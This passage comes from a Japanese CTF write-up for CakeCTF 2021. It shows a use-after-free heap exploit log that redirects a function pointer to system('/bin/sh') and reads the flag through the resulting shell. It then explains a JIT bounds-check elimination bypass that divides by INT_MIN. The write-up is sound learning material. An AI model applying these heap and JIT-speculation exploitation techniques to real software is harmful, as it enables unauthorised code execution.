b' +------------------+\n' b"0x55b5e8d5b2a8 | 000055b5e8d5b2c0 | <-- message (= '/bin/sh')\n" b' +------------------+\n' b'0x55b5e8d5b2b0 | 0000000000000000 |\n' b' +------------------+\n' b'0x55b5e8d5b2b8 | 0000000000000021 |\n' b' +------------------+ cowsay->message\n' b'0x55b5e8d5b2c0 | 0068732f6e69622f |\n' b' +------------------+\n' b'0x55b5e8d5b2c8 | 0000000000000000 |\n' b' +------------------+\n' b'1. Use cowsay\n' b'2. Change message\n' b'3. Delete cowsay (only once!)\n' b'4. Describe heap\n' b"> [+] You're trying to call 0x00007f3d3ee82410\n" Message: 1. Use cowsay 2. Change message 3. Delete cowsay (only once!) 4. Describe heap > Message: 1. Use cowsay 2. Change message 3. Delete cowsay (only once!) 4. Describe heap > [ address ] [ heap data ] +------------------+ 0x55b5e8d5b290 | 0000000000000000 | +------------------+ 0x55b5e8d5b298 | 0000000000000021 | +------------------+ cowsay (freed) 0x55b5e8d5b2a0 | 00007f3d3ee82410 | <-- fn_dialogue (= system) +------------------+ 0x55b5e8d5b2a8 | 000055b5e8d5b2c0 | <-- message (= '/bin/sh') +------------------+ 0x55b5e8d5b2b0 | 0000000000000000 | +------------------+ 0x55b5e8d5b2b8 | 0000000000000021 | +------------------+ cowsay->message 0x55b5e8d5b2c0 | 0068732f6e69622f | +------------------+ 0x55b5e8d5b2c8 | 0000000000000000 | +------------------+ 1. Use cowsay 2. Change message 3. Delete cowsay (only once!) 4. Describe heap > [+] You're trying to call 0x00007f3d3ee82410 $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x30 bytes: b'chall\n' b'flag-7a6f369885822f1effdbad51554c0467.txt\n' chall flag-7a6f369885822f1effdbad51554c0467.txt $ cat flag-7a6f369885822f1effdbad51554c0467.txt [DEBUG] Sent 0x2e bytes: b'cat flag-7a6f369885822f1effdbad51554c0467.txt\n' [DEBUG] Received 0x52 bytes: b'CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}\n' CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e} $
無事フラグを入手できました: CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}
(これも、leetの最後以外はYou pwned full protection binary! Now you know how dangerous UAF is!
でしょうけれど、最後の英単語はなんでしょう……?)
[pwn] JIT4b
Do you know how static analysis works in JIT speculation? I don't know. nc pwn.cakectf.com 9002
配布ファイルを確認すると、chall
とC++ソースコードがありました:
$ file * abstract.hpp: C++ source, ASCII text chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a3aadc5aefa48cdceef27a416e131311826c6152, not stripped instruction.hpp: C++ source, ASCII text main.cpp: C++ source, ASCII text
試しに実行してみます:
$ ./chall Today, let's learn about bounds-checking elimination bug! JIT is frequently abused in browser exploitation. The JIT compiler is going to optimize the following function: 1| function f(x) { 2| let arr = [3.14, 3.14, 3.14]; 3| <YOUR CODE GOES HERE> 4| return arr[x]; 5| } You can apply some basic calculations on `x`, for example: 1| function f(x) { 2| let arr = [3.14, 3.14, 3.14]; 3| x = Math.min(x, 2); 4| x = Math.max(x, 0); 5| return arr[x]; 6| } In the code above, JIT will remove the bound check on line 5 because JIT knows `x` is always in Range(0, 2). However, in the code below, JIT will not remove the bound check because the speculated range for `x` is Range(-inf, 2), which may cause (negative) out-of-bound access. 1| function f(x) { 2| let arr = [3.14, 3.14, 3.14]; 4| x = x * 123; 3| x = Math.max(x, 2); 5| return arr[x]; 6| } Your goal is to deceive JIT speculation and access out-of-bound. Step 1. Build your function 1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit > 1 value: 1 1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit > 0 [+] Your function looks like this: function f(x) { let arr = [3.14, 3.14, 3.14]; x += 1; return arr[x]; } Step 2. Optimize your function... [JIT] Speculation: Range(-2147483648, 2147483647) [JIT] Applying [ x += 1 ] [JIT] CheckBound: 0 <= Range(-2147483648, 2147483647) < 3? --> No. Keeping bound check for security. Step 3. Call your optimized function What's the argument `x` passed to `f`? x = -2 [+] f(-2) --> undefined [-] That's too ordinal...
この出力内容やソースコード読解をしてみると、境界チェックをさせないようにしつつ範囲外アクセス出来るとフラグが出力されるようです。ソースコードが多いので要点だけ書きますと、abstract.hpp
の除算の処理に問題がありました:
class Range { public: int min; int max; Range() : min(numeric_limits<int>::min()), max(numeric_limits<int>::max()) {}; // 中略 /* Abstract multiplication */ Range& operator*=(const int& rhs) { if (rhs < 0) swap(min, max); if (__builtin_smul_overflow(min, rhs, &min) || __builtin_smul_overflow(max, rhs, &max)) { // Integer overflow may happen min = numeric_limits<int>::min(); max = numeric_limits<int>::max(); } return *this; } /* Abstract divition */ Range& operator/=(const int& rhs) { if (rhs < 0) *this *= -1; // This swaps min and max properly // There's no function named "__builtin_sdiv_overflow" // (Integer overflow never happens by integer division!) min /= abs(rhs); max /= abs(rhs); return *this; } // 中略 }; inline bool operator<=(const int& lhs, const Range& rhs) { return lhs <= rhs.min; } inline bool operator<(const Range& lhs, const int& rhs) { return lhs.max < rhs; }
ここで除算の右辺としてnumeric_limits<int>::min()
(つまり-2147483648
)を指定すると、負の整数の表現に2の補数系を使う環境ではabs
関数が引数の値そのままを返すためmin=1, max=0
となる状況を作れます。Range
クラスはmin <= max
を前提とした処理となっているため、min > max
となる状況ではおかしな振る舞いをします。
これを利用することで、範囲チェックを除外させつつ範囲外アクセスをさせることができます:
$ nc pwn.cakectf.com 9002 Today, let's learn about bounds-checking elimination bug! JIT is frequently abused in browser exploitation. The JIT compiler is going to optimize the following function: 1| function f(x) { 2| let arr = [3.14, 3.14, 3.14]; 3| <YOUR CODE GOES HERE> 4| return arr[x]; 5| } You can apply some basic calculations on `x`, for example: 1| function f(x) { 2| let arr = [3.14, 3.14, 3.14]; 3| x = Math.min(x, 2); 4| x = Math.max(x, 0); 5| return arr[x]; 6| } In the code above, JIT will remove the bound check on line 5 because JIT knows `x` is always in Range(0, 2). However, in the code below, JIT will not remove the bound check because the speculated range for `x` is Range(-inf, 2), which may cause (negative) out-of-bound access. 1| function f(x) { 2| let arr = [3.14, 3.14, 3.14]; 4| x = x * 123; 3| x = Math.max(x, 2); 5| return arr[x]; 6| } Your goal is to deceive JIT speculation and access out-of-bound. Step 1. Build your function 1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit > 4 value: -2147483648 1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit > 2 value: 1 1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit > 0 [+] Your function looks like this: function f(x) { let arr = [3.14, 3.14, 3.14]; x /= -2147483648; x -= 1; return arr[x]; } Step 2. Optimize your function... [JIT] Speculation: Range(-2147483648, 2147483647) [JIT] Applying [ x /= -2147483648 ] [JIT] Speculation: Range(1, 0) [JIT] Applying [ x -= 1 ] [JIT] CheckBound: 0 <= Range(0, -1) < 3? --> Yes. Eliminating bound check for performance. Step 3. Call your optimized function What's the argument `x` passed to `f`? x = 1 [+] f(1) --> 1.63042e-322 [+] Wow! You deceived the JIT compiler! [+] CakeCTF{1_th1nk_u_c4n_try_2_3xpl017_r34l_bug5_1n_br0ws3r} $
無事にフラグを入手できました: CakeCTF{1_th1nk_u_c4n_try_2_3xpl017_r34l_bug5_1n_br0ws3r}
[survey] Survey
Solving this challenge won't update the flag submission timestamp. So, take enough time to fill the survey!
アンケートフォーム先頭に書かれていた内容です:
Thank you for playing CakeCTF 2021! You'll get the flag by filling and submitting this form but you don't need to hurry up. This challenge does award you some points, but it doesn't update your "last solved challenge" timestamp. You can't get ahead simply by solving the survey faster. Feedback is very important for us. Please take enough time to fill the survey. You can send multiple forms if you have multiple members in your team or if you changed your mind.
アンケートを書くと、フラグを入手できました: CakeCTF{w4s_th1s_CTF_p13c3_0f_c4k3_4U?}
感想
- warmup問題の段階で大分難しかったです。warmupを全完できた時点で達成感がありました。
- warmupでない問題を解けたときはそれはもう感無量でした。
- 解けていないreversing問題ではRust製バイナリのものがありました。シンボル名は残っていましたが取っ掛かりがつかめず挫折しました、悔しみ。
- InterKosenCTF_2020の時とは異なり、ちゃんとwrite-upを書きつつSurvey提出は間に合わせました。
- IDAの逆コンパイルはすごい!Free版ではx64バイナリ限定ですがとてもすごい!!Reversingがものすごく楽!!!
- Discordのsolvesチャンネルで各問題正解時にbotが書き込んでくれるのですが、今回も運営者の方々が1~3番目の正解者の場合にメダルのリアクションをつけてくださるのが良かったです: